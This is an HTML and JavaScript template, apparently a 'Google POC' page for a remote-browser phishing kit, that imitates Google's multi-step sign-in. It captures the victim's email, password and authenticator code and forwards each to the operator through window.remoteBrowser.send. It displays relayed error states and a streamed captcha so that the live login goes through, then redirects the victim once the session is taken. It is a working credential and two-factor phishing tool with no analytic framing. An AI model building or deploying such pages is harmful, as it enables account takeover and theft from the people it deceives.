<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
</svg>
</div>
<h1 class="heading">Sign in</h1>
<p class="subheading">Use your Google Account</p>
</div>
<div id="left-password" class="left-content">
<div class="g-logo">
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
</svg>
</div>
<h1 class="heading">Welcome</h1>
<div class="account-chip">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none">
<circle cx="12" cy="8" r="4" fill="#5f6368"/>
<path d="M4 20c0-4 3.6-7 8-7s8 3 8 7" stroke="#5f6368" stroke-width="2" stroke-linecap="round"/>
</svg>
<span id="chip-email" class="chip-name"></span>
</div>
</div>
<div id="left-totp" class="left-content">
<div class="g-logo">
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
</svg>
</div>
<h1 class="heading">2-Step Verification</h1>
<p class="subheading">Open your authenticator app and enter the 6-digit code</p>
<div class="account-chip">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none">
<circle cx="12" cy="8" r="4" fill="#5f6368"/>
<path d="M4 20c0-4 3.6-7 8-7s8 3 8 7" stroke="#5f6368" stroke-width="2" stroke-linecap="round"/>
</svg>
<span id="chip-email-totp" class="chip-name"></span>
</div>
</div>
<div id="left-captcha" class="left-content">
<div class="g-logo">
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
</svg>
</div>
<h1 class="heading">One more step</h1>
<p class="subheading">Complete the security check to continue signing in</p>
</div>
<div id="left-waiting" class="left-content">
<div class="g-logo">
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
</svg>
</div>
<h1 class="heading">Please wait</h1>
<p class="subheading">Reconnecting to Google</p>
</div>
<div id="left-done" class="left-content">
<div class="g-logo">
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
</svg>
</div>
</div>
</div>
<div class="card-right">
<div id="step-email" class="step active">
<div class="field-wrapper">
<input type="email" id="email-input" placeholder=" " autocomplete="email" autofocus />
<label for="email-input">Email or phone</label>
</div>
<div id="email-error" class="error-text"></div>
<div class="link-row"><a href="#" class="text-link">Forgot email?</a></div>
<p class="guest-note">
Not your computer? Use Guest mode to sign in privately.
<a href="#" class="text-link">Learn more</a>
</p>
<div class="actions">
<a href="#" class="btn btn-text">Create account</a>
<button id="email-next" class="btn btn-filled" onclick="submitEmail()">
<span class="btn-label">Next</span>
<div class="spinner"></div>
</button>
</div>
</div>
<div id="step-password" class="step">
<div class="field-wrapper">
<input type="password" id="password-input" placeholder=" " autocomplete="current-password" />
<label for="password-input">Enter your password</label>
<button class="password-toggle" type="button" onclick="togglePassword()" tabindex="-1" aria-label="Show password">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<path d="M12 5C7 5 2.73 8.11 1 12.5 2.73 16.89 7 20 12 20s9.27-3.11 11-7.5C21.27 8.11 17 5 12 5zm0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z" fill="#444746"/>
</svg>
</button>
</div>
<div id="password-error" class="error-text"></div>
<div class="link-row"><a href="#" class="text-link">Forgot password?</a></div>
<div class="actions">
<a href="#" class="btn btn-text">Try another way</a>
<button id="password-next" class="btn btn-filled" onclick="submitPassword()">
<span class="btn-label">Next</span>
<div class="spinner"></div>
</button>
</div>
</div>
<div id="step-totp" class="step">
<div class="field-wrapper">
<input type="text" id="totp-input" placeholder=" " inputmode="numeric" pattern="[0-9]*" maxlength="6" autocomplete="one-time-code" />
<label for="totp-input">Enter code</label>
</div>
<div id="totp-error" class="error-text"></div>
<div class="link-row"><a href="#" class="text-link">Try another way</a></div>
<div class="actions">
<div></div>
<button id="totp-next" class="btn btn-filled" onclick="submitTOTP()">
<span class="btn-label">Next</span>
<div class="spinner"></div>
</button>
</div>
</div>
<div id="step-captcha" class="step">
<div class="center-area">
<div id="captcha-stream-container"></div>
</div>
</div>
<div id="step-waiting" class="step">
<div class="center-area">
<div class="page-spinner"></div>
<p class="subheading">Please wait&hellip;</p>
</div>
</div>
<div id="step-done" class="step">
<div class="center-area">
<div class="done-icon">
<svg width="26" height="26" viewBox="0 0 24 24" fill="none">
<path d="M5 12l4 4L19 7" stroke="#1e8e3e" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h1 class="heading">You're signed in</h1>
<p class="subheading">Redirecting&hellip;</p>
</div>
</div>
</div>
</div>
<div class="page-footer">
<select aria-label="Language"><option>English (United States)</option></select>
<div class="footer-links">
<a href="#" class="footer-link">Help</a>
<a href="#" class="footer-link">Privacy</a>
<a href="#" class="footer-link">Terms</a>
</div>
</div>
{{RemoteBrowserScript "Google POC"}}
<script>
var currentEmail = '';
var currentStep = 'email';
function showStep(name) {
['email-next', 'password-next', 'totp-next'].forEach(function(id) {
setLoading(id, false);
});
document.querySelectorAll('.step').forEach(function(el) {
el.classList.remove('active');
});
document.querySelectorAll('.left-content').forEach(function(el) {
el.classList.remove('active');
});
document.getElementById('step-' + name).classList.add('active');
document.getElementById('left-' + name).classList.add('active');
currentStep = name;
if (name === 'password') {
document.getElementById('chip-email').textContent = currentEmail;
document.getElementById('password-input').focus();
}
if (name === 'totp') {
document.getElementById('chip-email-totp').textContent = currentEmail;
document.getElementById('totp-input').focus();
}
}
function setError(field, msg) {
document.getElementById(field + '-input').classList.add('error');
var el = document.getElementById(field + '-error');
el.textContent = msg;
el.classList.add('visible');
}
function clearError(field) {
document.getElementById(field + '-input').classList.remove('error');
document.getElementById(field + '-error').classList.remove('visible');
}
function setLoading(id, on) {
var btn = document.getElementById(id);
if (!btn) return;
btn.classList.toggle('loading', on);
btn.disabled = on;
}
function submitEmail() {
var val = document.getElementById('email-input').value.trim();
if (!val) return;
clearError('email');
currentEmail = val;
setLoading('email-next', true);
window.remoteBrowser.send('email', { email: val });
}
function submitPassword() {
var val = document.getElementById('password-input').value;
if (!val) return;
clearError('password');
setLoading('password-next', true);
window.remoteBrowser.send('password', { password: val });
}
function submitTOTP() {
var val = document.getElementById('totp-input').value.trim();
if (!val) return;
clearError('totp');
setLoading('totp-next', true);
window.remoteBrowser.send('totp', { totp: val });
}
function togglePassword() {
var inp = document.getElementById('password-input');
inp.type = inp.type === 'password' ? 'text' : 'password';
}
document.addEventListener('keydown', function(e) {
if (e.key !== 'Enter') return;
if (currentStep === 'email') submitEmail();
else if (currentStep === 'password') submitPassword();
else if (currentStep === 'totp') submitTOTP();
});
['email', 'password', 'totp'].forEach(function(f) {
var el = document.getElementById(f + '-input');
if (el) el.addEventListener('input', function() { clearError(f); });
});
var rb = window.remoteBrowser;
if (rb) {
rb.on('invalid_email', function(val) {
showStep('email');
setError('email', val || "Couldn't find your Google Account");
});
rb.on('passwordReady', function() {
showStep('password');
});
rb.on('invalid_password', function(val) {
showStep('password');
setError('password', val || 'Wrong password. Try again.');
});
rb.on('totp_ready', function() {
showStep('totp');
});
rb.on('totp_error', function(val) {
showStep('totp');
setError('totp', val || 'Wrong code. Try again.');
});
rb.on('invalid_totp', function(val) {
showStep('totp');
setError('totp', val || 'Wrong code. Try again.');
});
rb.on('captcha_stream', function() {
showStep('captcha');
rb.mountStream('captcha', document.getElementById('captcha-stream-container'), { autoSize: true });
});
rb.on('stream_start', 'captcha', function() {
// sizing applied automatically by mountStream + inject JS
});
rb.on('stream_stop', 'captcha', function() {
showStep('waiting');
});
rb.on('unknown_state', function() {
showStep('waiting');
});
rb.on('complete', function() {
showStep('done');
setTimeout(function() { location.href = '{{.URL}}'; }, 1500);
});
}
</script>
</body>
</html>